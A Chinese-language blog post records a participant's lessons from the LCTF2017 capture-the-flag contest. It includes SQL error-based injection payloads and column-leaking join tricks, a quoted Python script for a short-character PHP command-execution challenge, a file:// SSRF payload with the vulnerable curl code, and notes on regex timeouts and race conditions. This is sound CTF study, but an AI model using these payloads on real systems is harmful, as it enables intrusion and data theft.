LCTF2017学到的姿势
全程划水.......差距太大,姿势甚少
至于WP,官方已经给出LCTF2017
想主要记一下自己学到的东西
萌萌哒报名系统
源码泄露,看源码的部分在注册部分发现了以下代码
但是看到正则匹配根本没有想到会有漏洞,而是直接把关注点转向了str_shuffle()函数
加上搜索之后此函数的确可以预测,但是前提是有一定的输出进行后续随机的预测
但是这里...ennn......太年轻啊。。。。
Pwnhub会员日一题引发的思考-伪随机数的安全问题
<?php
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
...
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
echo "Success";
} else {
echo "False";
}
赛后才知道大佬们思路有两种:
预期解法:pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,通过超长的字符可以导致php超时而后面的php语句就不会执行
非预期解法:条件竞争,这个利用的应该是属于逻辑漏洞,再验证Guest身份的时候是通过if ($sth->fetch()[0] === 'GUEST')
如果用户的身份不存在则取出来的值为NULL,即在执行插入身份之前登录,也可以绕过
其中条件竞争解法有师傅也讲出大线程也没跑出来,便想出加长code延长匹配时间来为登录争取时间
也是利用了pre_match的特性
登陆进去之后第二层则是一个伪协议读取文件
simple-blog
逃不掉的Padding oracle attack.......
至于原理云舒大大的
出题人写的也很不错初学padding-oracle-attack
web中的密码学攻击
学习了一波,其他的一些链接放在了末尾
然后是一个sprintf的注入php的sprintf函数
他们有什么秘密呢
这道注入题目,只能说注入的世界无穷大..........ennnnnn.......
直接尝试了一个报错注入,可以得到回显,但是这里WAF拦截了columns,database,schema等关键字或函数
然后,然后就没有然后了....没姿势
id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
赛后,看了大佬们的WP才知道,注入或许就是一个耐心的FUZZ过程,心态炸了....也没耐心去慢慢的FUZZ
亏我以前还特意搜集了一些注入姿势waf拦截了columns,database,schema等关键字或函数
好多姿势都是前辈们玩烂的了,我们还一无所知
首先可以利用 linestring()(为什么?FUZZ)函数报错得到表名和部分列名
然后由于过滤不能直接查询,可以利用Duplicate column name(重复的字段
)的方式來注入爆列名orange大大11年博文
select name from test where id=1 and (select * from (select * from test as a join test as b) as c)
select name from test where id=1 and (select * from (select * from test as a join test as b using(id)) as c)
#使用using(a,b,c)可以爆出除a,b,c以外的列名
这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错
然后查询具体的值2017-DDCTF-SQL注入之过滤列名get数据
然后第二关是一个命令执行,这里是七字符32C3 CTF Web题目的Writeup
贴上老外脚本
import requests
import re
url = "http://136.243.194.53/"
user_agent = "xxx"
t = requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"zzz.php", "content":"<?=`*`;"}).text
[path] = re.findall('files.*/zzz.php', t)
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash", "content":'xxx'})
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash2", "content":'ls /'})
r = requests.get(url+path)
print r.text
前几天还有个4字符的....orzzz贴上学长链接
签到题目
这里直接贴官方考点:
- 用file协议读取本地文件
- 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
- 截断url后面拼接的/, GET请求, 用?#都可以
payload其实很简单: file://www.baidu.com/etc/flag?
<?php
if(!$_GET['site']){
echo <<<EOF
<html>
<body>
look source code:
<form action='' method='GET'>
<input type='submit' name='submit' />
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/>
</form>
</body>
</html>
EOF;
die();
}
$url = $_GET['site'];
$url_schema = parse_url($url);
$host = $url_schema['host'];
$request_url = $url."/";
if ($host !== 'www.baidu.com'){
die("wrong site");
}
$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);
if($res){
echo "<h1>Source Code:</h1>";
echo $request_url;
echo "<hr />";
echo htmlentities($res);
}else{
echo "get source failed";
}
?>
其他
参考: mysql注入可报错时爆表名、字段名、库名
padding oracle attack详解
CBC字节反转攻击深入思考